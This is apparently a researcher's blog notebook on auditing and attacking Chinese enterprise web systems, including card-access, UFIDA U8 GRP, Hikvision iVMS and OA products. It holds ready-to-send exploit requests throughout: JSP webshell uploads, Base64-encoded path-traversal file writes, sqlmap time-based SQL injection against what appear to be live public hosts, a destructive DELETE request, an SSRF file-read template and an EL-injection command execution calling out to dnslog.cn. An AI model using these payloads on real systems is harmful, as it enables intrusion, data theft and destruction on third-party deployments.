POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
User-Agent: Java/1.8.0_345
Host: 127.0.0.1:8443
Accept: text/html, image/gif, image/jpeg, *; q=.2, /; q=.2
Content-Length: 243
Connection: close

--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
Content-Disposition: form-data; name="upload"; filename="1.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary

<%out.println("hello");%>
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--

发送以下请求包后,文件将会被保存到
https://127.0.0.1:8443/upload/emap/society_new/目录下,文件会被重命名,但后缀名不变
最终文件名会返回到响应体中
最终shell地址为:
https://127.0.0.1:8443/upload/emap/society_new/ico_res_xxx随机字符串_on.jsp

The vulnerability is that authentication is done here, but even if hasSubsystem is judged, the subsystem can still be accessed as long as hasSubsystem = true.

So how do we adjust to this hasSubsystem? Or in fact, this authentication function can be inserted into many http paths?

Now I have three questions

1.

Why is this "action" missing?

==springframework framework. ACTion is generally filtered by default by developers ==

2.
Where is the place to do this "_" parsing?

answer:

== is also the default! ==

In the Java ST2 framework, for functions in the controller (i.e. methods that handle requests), you can use@ActionAnnotation to specify the request path corresponding to the function. By default, the naming convention for request paths isController name_method name,For examplexxx_a, that is, the controller is namedxxx, the method name isa。

3.How does devicePoint call the addImgIco function? not found

You will know by combining answer1 and answer2

12th!

For classes.src we can arrange it with WEB-INF/views

First use WEB-INF/views to verify which ones can be accessed and which ones cannot (echo)

as follows:

The next step is dir and then put it into intruder

The result is that only conferenceManage

Of course, you can also look directly at web.xml

It’s just that I’m a bit unwilling to give up using black box testing on a website.

The next step is to use conferenceManage again in this way. Although you can completely use web.

It seems useless. Next

Search directly, select, find and traverse

During this period, I was also deceived by Huawei Cloud’s CloudDBAspect.class.

Finally found out there is something wrong with this place

Try traversing

Those asterisks need to use our ctrl+shif+f manual method (don’t lose every detail)

Since some loaders have a ?system, we can add them again in batches when blasting

First do GET (you can check whether the return packet needs to be turned into POST when retrieving one by one)

As long as it's not 404, we have to keep track of it.

==Skip directly if you encounter a js file==

==Priority 400 405==

Why? Because 400 often means we are missing param and 405 often means there is a problem with our request method.


/CardSolution/card/face/get/param

GET /CardSolution/card/face/get/param HTTP/1.1
Host: e6fhmfwk.v3n.pkoplink.com:8443
Cookie: JSESSIONID=DFF26EDA4D41C4A2091B16207E928A34
Cache-Control: max-age=0
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="98"
contentType: "application/json; charset=UTF-8",
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

There is an information leak here. Although it is a fixed sentence pattern, first: he did not change the password. Second: the IP is leaked.

I can get the certificate. I got another mid-risk one.


/CardSolution/card/department/template/download

/CardSolution/statistics/regionConfig/getAllRegion/cims

Downloaded is an xlsx template


/CardSolution/statistics/regionConfig/getAllRegion

I probably can’t hand in the CNVD.


/CardSolution/base/function/tree


/CardSolution/card/dictionary/getThirdDeviceManufacture

should count


/CardSolution/card/face/acsRfid/delete

It feels like there is a hole, but I didn’t construct the ids.


/CardSolution/card/face/acsRfid/page

I don't know what to do? Could creating an infinite page cause system memory congestion?


What should I do if I encounter these GET filtered out and want to batch POST?

Directly select-right-click-scan-ctrl+c and it will appear.

Then filter the characters again and POST again

Let’s look at the 1149 one first, because there are more

There is no good echo. I didn’t even read it.


==Discover a good thing==

resources/site/config.js

/CardSolution/card/department/delete/10000

It reminds me that I can’t find a way to delete it.


CardSolution/card/person/delete/community

It should be successful


/CardSolution/card/accessControl/swingCardRecord/thirdPartyOpenDoor/getFtp?id=2&swingTime=2

I don’t know how to construct the id


/CardSolution/card/accessControl/swingCardRecord/bycondition/download

nice. After seeing so many, I know it’s another mid-risk one.

GET /CardSolution/card/accessControl/swingCardRecord/bycondition/download HTTP/1.1
Host: e6fhmfwk.v3n.pkoplink.com:8443
Cookie: JSESSIONID=DFF26EDA4D41C4A2091B16207E928A34
Cache-Control: max-age=0
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="98"
contentType: "application/json; charset=UTF-8",
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

And with this wave of card numbers and personnel numbers, we can go further! ! !

Write down these download addresses first, just in case you can still use them later.

/CardSolution/card/department/download
/CardSolution/card/accessControl/swingCardRecord/bycondition/download
/card/department/download
/card/department/template/download
/card/accessControl/swingCardRecord/bycondition/download
/card/accessControl/swingCardRecord/download

Not confidential enough, no medium risk


Another mid-risk! ! ! ! ! ! ! !

Then delete the number you just got emmm, I know! ! !

DELETE /CardSolution/card/person/deleteFromHrms/888000 HTTP/1.1
Host: e6fhmfwk.v3n.pkoplink.com:8443
Cookie: JSESSIONID=DFF26EDA4D41C4A2091B16207E928A34
Cache-Control: max-age=0
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="98"
contentType: "application/json; charset=UTF-8",
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


13th!

sql injection

Don’t miss every jsp. What if any control is controllable and non-static?

Because there were only 6 jsps left in the previous fuzz, a controllable point was quickly determined.

One card remote door opening

But I don’t know the controllable function (it’s hard to find it in idea)

What should I do?

Try burp capturing packets directly

POST /CardSolution/resource/tree/search?&systime=1681137043631 HTTP/1.1
Host: 112.30.51.52:8089
Content-Length: 141
Accept: application/json, text/javascript, /; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://112.30.51.52:8089
Referer: http://112.30.51.52:8089/CardSolution/doorOpenRemoteControl.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=7830382D4FB1ED0448A4A8AE7FAC7816; JSESSIONID=55DCB4B2F82CE729D739AC2CAFA3D8AB
Connection: close

{"showStatus":true,"findOrgWhenSearch":true,"typeCode":"01;0;8;7","hasCheckBox":false,"hideEmptyOrg":true,"searchKey":"dd","allowRFID":false}

/CardSolution/resource/tree/search

Take a look inside idea

No relevant code found. Direct black box sqlmap test

Post package 1.txt is saved and placed in sqlmap

python3 sqlmap.py -r 1.txt --technique T -p searchKey

One important point is that

The new version of sqlmap supports json format -p

like this

Repeated sqlmap found that there was no error point

==The boss told me that you have to let it trigger first, that is, search for a "known quantity" (such as 1), and then capture the packet and release it slowly. Only then can you see the trigger point. If it is an "unknown quantity" (such as scrawled asdklashdoas, there will be no trigger point)==

catch the bag

POST /CardSolution/card/accessControl/channelControl/channels?systime=1675860972982 HTTP/1.1
Host: 8.136.226.77:8089
Content-Length: 22
Accept: application/json, text/javascript, /; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://8.136.226.77:8089
Referer: http://8.136.226.77:8089/CardSolution/doorOpenRemoteControl.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=4534CAA5CAFB13EFF250FC3EB7EC26B4; JSESSIONID=F4F24F95A5B967D7CCD02E83BC092FB2
Connection: close

{"channelCodes":["1*"]}

sqlmap wave

json+sqlmap directly type * ==="channelCodes":["1*",]==

More secure


G:\桌面文件夹\src\sqlmap-dev>python3 sqlmap.py -r 1.txt -batch
        ___
       H
 ___ [,]__ ___ ___  {1.7.4.6#dev}
|_ -| . [,]     | .'| . |
|_|  [,]_|||__,|  |
      ||V...       ||   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[17:47:22] [INFO] parsing HTTP request from '2.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[17:47:23] [INFO] resuming back-end DBMS 'mysql'
[17:47:23] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: JSON #1* ((custom) POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: {"channelCodes":["1') AND (SELECT 2395 FROM (SELECT(SLEEP(5)))AGYF) AND ('ZbgP'='ZbgP"]}
---0
[17:47:23] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL >= 5.0.12
[17:47:23] [INFO] fetched data logged to text files under 'C:\Users\CDxiaodong\AppData\Local\sqlmap\output\8.136.226.77'

NO.12

I'll give you the whole ==.do== later and you won't have to worry about it.

That thing is more complicated

==!Isolation represents calling method==

==Haikang Security is the one==

1. For older versions, see the fastjson port.

2. The new version is low-risk. Take a look at the actuator endpoint of springboot for each route (there is no springboot, but springframework is used)

3.ssrf

It seems that the code is not complete

NO.13

==U8GRP==

1th

Let’s start with this historical loophole (https://evalshell.com/)(vulnerability library)

POST /U8AppProxy?gnid=myinfo&id=saveheader&zydm=../../yongyouU8_test HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=635F2271089E7A7E66F3F84824553DEE
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 01 Feb 2016 08:01:00 GMT
If-None-Match: W/"5732-1454313660000"
Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
Accept-Encoding: gzip
Content-Length: 194

--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/png

<% out.println("yongyouu8");%>
--59229605f98b8cf290a7b8908b34616b--

==一.U8AppProxy?gnid=myinfo&id=saveheader&zydm=../../yongyouU8_test==

WEB-INF\classes\com\mobile\action\U8AppProxy.class

What information can we get from this string of code?

1. First of all, this U8AppProxy is the U8AppProxy.action file in the project. So we can look for the ==*.action== file

2.gnid and myinfo parameters

3. The following string of id=saveheader&zydm=../../yongyouU8_test are all (new MyInfo()).doGet(request, response); which is the func MyInf in MyInfo.java.

Let’s follow it from bottom to top and take a look.

But generally when doing defense, the func myinfo is built, so I won’t spend too much time looking at it here. Next, look for other funcs.

==2./UploadFileData?action=upload_file&&foldername=/..&filename=/test.jsp==

classes\com\ufgov\midas\pt\servlet\UploadFileDataServlet.class

==Three./servlet/FileUpload?fileName=t.jsp&actionID=update==

classes\com\ufgov\midas\pt\servlet\FileUpload.class

==four./Proxy==

data ='cVer=9.8.0&dp=<?xmlversion="1.0" encoding="GB2312"?><R9PACKETversion="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATAformat="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATAformat="text">select@@version</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'

To sum up, we get a few key points: .action \servlet /Proxy in the same folder

2th

Use odeql to automate auditing. During interviews, people often ask "What automated auditing tools have you used or developed?"

Some people would say seay fortify, but these script-based ones are not very efficient.

The best answer is to use codeql to write your own scripts. Another one is the recent chatgpt+token audit. The foreign ban is too serious now (plus the student party has limited funds)

Let’s start with codeql and recommend a few projects and articles.

https://tttang.com/archive/1541/Taint analysishttps://www.yuque.com/loulan-b47wt/rc30f7codeql complete learninghttps://youtu.be/nvCd0Ee4FgEodeql perfect teaching abroadhttps://tttang.com/archive/1570/#toc_0x06https://github.com/Wker666/wJahttps://tttang.com/archive/1511/https://github.com/webraybtl/CodeQLpy

Using codeql for code audit involves some discrete mathematics and stain analysis. I won’t go into details here. We use the tool directly.

To borrow the words of uncle uncle

We use CodeQL to dig vulnerabilities, which can actually be understood as mining a data link (Data Flow) from Source to Sink.

For a set of source code, we can use links written by ourselves, or we can collect links from the Internet

codeql database analyze U8GRP "G:\Desktop Folder\src\codeql\ql\java\ql\src\codeql-suites\java-security-extended.qls" --format=csv --output=java-results.csv

This is the tool used herewebraybtl/CodeQLpy: CodeQLpy is a semi-automated code audit tool based on CodeQL. Currently it only supports the Java language. Implementing the entire process from source code decompilation, database generation, and vulnerability discovery can assist code auditors in quickly locating possible vulnerabilities in the source code. (github.com)

It just so happens that the author also uses this tool to conduct automated audits of UFIDA U8grp.

python3 main.py -t C:\Users\CDxiaodong\Desktop\U8GRP

codeql database create out/database/U8GRP --language=java --command="G:\codeql\CodeQLpy-master\out\decode/run.cmd" --overwrite

python3 main.py -d G:\codeql\CodeQLpy-master\out\database\U8GRP

The effect is still very impressive. Now it’s time to test it.


start here

G:/codeql/CodeQLpy-master/out/decode/classes/com/ufgov/midas/u8pay/U8pay.java

Take a look at web.xml comparison interface


==sql can insert any key value==

We can't blindly plug in and type things like this. It's easy to get in.

We need to take a look at what this logic code is

public void SignUp(String gsdm, String xsid, String sxnm) throws Exception {
    Connection conn = null;
    PreparedStatement ps = null;
    try {
      Date nowTime = new Date();
      SimpleDateFormat time = new SimpleDateFormat("yyyyMMdd");
      String ymd = time.format(nowTime);
      conn = (new DataSourceImp()).getConnection();
      String sql = "insert into spp_xwybm (gsdm,xsid,sfsxnm,zt,bmrq) values (?,?,?,0," + ymd + ")";
      ps = conn.prepareStatement(sql);
      LogTools.printInfo("校外预报名:" + sql);
      ps.setString(1, gsdm);
      ps.setString(2, xsid);
      ps.setString(3, sxnm);
      LogTools.printInfo(String.valueOf(gsdm) + ";" + xsid + ";" + sxnm);
      ps.executeUpdate();
    } catch (Exception e) {
      throw e;
    } finally {
      PayTools.closeConnection(conn, ps, null);
    }
  }

Off-campus pre-recorded names

Use pre-written sql in advance

"insert into spp_xwybm (gsdm,xsid,sfsxnm,zt,bmrq) values (?,?,?,0," + ymd + ")";

It is necessary to check the sql injection of insert

ps = conn.prepareStatement(sql);

Precompilation is used here, so there seems to be no holes.


Put aside the line about precompilation for now

/jatoolsreport?file=1.xml

I always feel that the file name can be changed to access it, but it keeps reminding me that "the specified template cannot be opened."

Either 1. Does not exist or 2. Insufficient permissions. It is most likely that the file does not exist + the directory has permissions. I don’t know what to do.


/TaskManager/EBankTaskServlet?m=6&info=all

GET /TaskManager/EBankTaskServlet?m=1&taskjson=1&taskname=1&optionType=create&enabled=true

Files can be uploaded automatically here, but there are a few problems

1. It will automatically add the .tjon suffix to the files we upload.

2. As shown in the figure below, the content must be in json format

But the good thing is that the file has indeed landed because it cannot be overwritten (it is currently unknown whether the content has been written, but there is no "file writing failure" reported in the code, so I feel that it is still written)

Another advantage is that as shown below

But even if "&optionType is not equal to create", it can still be written, but it cannot be used in a white box so that we can verify whether the file exists.

==So now we have several applications==

1. Generate this file to the directory we want to go to

2. Invalidate the .tjon suffix

3. Check whether data is written

For the third question, I can call the interface to query

So the file is written, but these interfaces will automatically execute runstask, and then when executed again, it will cause an error because it does not belong to json format data.

Do not allow cross-directory mailing Next


TaskServiceServlet will see if it can write the json-payload execution command I want, so it depends on how runtask processes json data.

NO.14

XFire Services (gzzjzhy.com)

white-hua said there is a xxe here

C:\Users\CDxiaodong\Desktop\HongjingHCM\hrms\WEB-INF\classes\META-INF\xfire\services.xml

The content in services.xml has not been decompiled yet (I am too lazy to find it with hard disk tools)

Now reviewing other

There are many URLs in XML like this. We need to exclude and fuzz the URLs.

Direct awk

After filtering, intruder-fuzz

servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=

categories controllable sql injection

fieldset has any file to read

NO.15

Hikvision ssrf

d: hikvision-triggersnapshot-ssrf

info:
name: hikvision-triggersnapshot-ssrf.yaml
author: xxx
severity: critical
description: 海康iVMS-8700前台认证绕过SSRF漏洞
tags: hikvision,fileupload,camera
metadata:
  verified: true
  fofa-query: app="海康威视iVMS-8700安防综合管理平台"
  hunter-query: 'body="iVMS-8700综合安防管理平台软件"'

http:

  • raw:
        - |
          POST /eps/api/triggerSnapshot/download?token={{to_upper(md5(token))}}&fileUrl=file:///C:/windows/win.ini&fileName=1 HTTP/1.1
          Host: {{Hostname}}
          User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36

  payloads:
    token:
    - "{{RootURL}}/eps/api/triggerSnapshot/downloadsecretKeyIbuilding"

  matchers-condition: and
  matchers:
    - type: status
      status:
        - 200

    - type: word
      words:
        - "for 16-bit app support"
      condition: and
      part: body


NO.16 FE

@WebServlet(
    name = "GetSwfFile",
    urlPatterns = {"/servlet/GetSwfFile"}
)4 1@WebServlet@WebServlet(2    name = "GetSwfFile",3    urlPatterns = {"/servlet/GetSwfFile"}4)

URL parsing

There is a file access point here, but the content cannot be echoed.
Generally, the following functions are used to echo the content.

==PrintWriterorOutputStream==

Another code audit tip: ctrl+shift+f fuzz these functions

1th

This method is off the blacklist but uses the String uri = request.getRequestURI(); function

This request.getRequestURI() function method has always had this url encoding vulnerability problem, because it does not automatically transcode, resulting in the use of url encoding at the end of the file encoding, which can lead to bypass and arbitrary file reading.

As for why we need to read officeServer.jsp, it’s because this file is a Jinhe plug-in and is generally used to store documents. Many codes will use this file.

And there is a universal set of cross-directory arbitrary file upload

POST /iweboffice/OfficeServer.js%70 HTTP/1.1
Host: 125.76.228.247:9090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: oauser=oauser; JSESSIONID=2213AC10FA91DA50F5D2E87E74576F41
Connection: close
Content-Length: 206

DBSTEP V3.0     131             0               8
DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
RECORDID=Li4vLi4vLi4vamJvc3Mvd2ViL2ZlLndhci8xMjMuanNw
isDoc=dHJ1ZQ==
moduleType=dHlwZQ==
cName31100

This is it

DBSTEP V3.0     131             0               8
DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
RECORDID=Li4vLi4vLi4vamJvc3Mvd2ViL2ZlLndhci8xMjMuanNw
isDoc=dHJ1ZQ==
moduleType=dHlwZQ==
cName31100

2th

el expression injection vulnerability

POST /common/common_sort_tree.jsp;.js HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Content-Length: 95
Accept-Language: zh-CN,zh;q=0.8
Accept: /
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: close
Referer: http://oa.meitrack.com:9090/
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded

rootName={%[email protected]@getRuntime().exec("ping -nc 1 dnslog.cn")%25}

rootName = (String) builder.buildExp(rootName);

Finally came to this

NO.17

new cape

Here you can read jsondata. We will command var24 as jsondata for easy viewing.

command parameter dpcode content

Go to interfaceServiceImpl

InformationInterface ifaceDefines = this.informationInterfaceManager.findByAlias(ifaceAlias);

This involves database operations. Track them.

Although the source code is missing, it can still be proved that the query data resources are

Let’s look at interfaceServiceImpl again.

invokeResult = this.ecardHttp.getHttpDesResult(jsonObject.toJSONString(), encryptionType, list, desPwd);

Take out the url and a despwd and bring in getHttpDesResult

Follow up with ecardHttp.getHttpDesResult

Follow up with HttpRequestUtils.sendHttpRequestJson

Initiate a POST to it through sendHttpRequestJson and pass the json received previously.

Therefore, there is no trace of template injection in the code.

I can't make a conclusion. I can only make a rough analysis. It is very likely that template injection is caused in this way. The problem lies in the vulnerability of the url interface he queried.

NO.18 Chaoxing exceeds authority + information leakage

NO.18 Dynamic fuzz

1. Analyze the routing of JavaEE application registration
JavaEE applications can register and manage routes in several ways:

Servlet映射:在JavaEE中,Servlet是处理HTTP请求和响应的基本单位。通过在web.xml文件或使用注解配置的方式,可以将Servlet映射到特定的URL路径,从而实现路由功能。例如,可以使用@WebServlet注解或<servlet>和<servlet-mapping>元素来配置Servlet的路由。

JAX-RS:如果应用程序采用了Java API for RESTful Web Services(JAX-RS)规范,可以使用JAX-RS注解来定义RESTful风格的路由。通过在资源类或方法上使用@Path、@GET、@POST等注解,可以将URL路径映射到相应的资源类和方法。

Spring MVC:如果应用程序使用Spring框架的Spring MVC模块来构建Web应用程序,可以使用@RequestMapping注解或<mvc:annotation-driven>配置来定义路由。通过在控制器类或方法上使用@RequestMapping注解,可以将URL映射到相应的控制器处理方法。

JavaEE Web框架:除了上述常见的方式外,还有一些JavaEE Web框架,如Struts、JSF等,它们提供了自己的路由配置方式。这些框架通常有自己的配置文件或注解,用于定义URL路径和处理方法之间的映射关系。

What do you see in actual combat?

简单的来说就是看web.xml、application.properties这些文件。

Java类文件:路由配置也可以在Java类文件中进行,特别是使用注解来定义路由的框架。例如,使用Spring MVC时,可以在控制器类中使用@RequestMapping注解来定义路由。

注解配置类:一些框架提供了专门的注解配置类,用于定义路由和其他相关配置。例如,Spring Boot中的@Configuration注解可以用于定义路由配置类,并在其中使用适当的注解来定义路由。

XML配置文件:除了web.xml和application.properties之外,还可以使用其他XML配置文件来定义路由。例如,Spring MVC中的dispatcher-servlet.xml文件可以用于定义控制器和路由的映射关系。

配置文件夹:有些应用程序可能会使用配置文件夹来存储路由配置文件或相关的配置文件。这些文件可以使用不同的文件名和扩展名。在这种情况下,需要查找应用程序中的配置文件夹并检查其中的文件。

For example, Panwei uses xFire.
The usage of XFire is relatively simple.META-INF/xfire/services.xmlDefine services that need to be exported. XFire is no longer under development. Its official successor isApache CXF。

As for fuzz, its core is

1. Find the authentication point

2. Write java code to test authentication point packaging

3. useCodeIntelligenceTesting/jazzer: JVM coverage guidance, in-process fuzz testing (github.com)fuzz test

I0veD

I0veD

cyber security researcher

Cloud Native & AI Sec Researcher Red Team | BAS | K8s | Evasion 20+ CVEs | CNVD/CNNVD Contributor 🛡️ AI-Driven Blue Team 👇 Works

Comments (0)

Login to post a comment.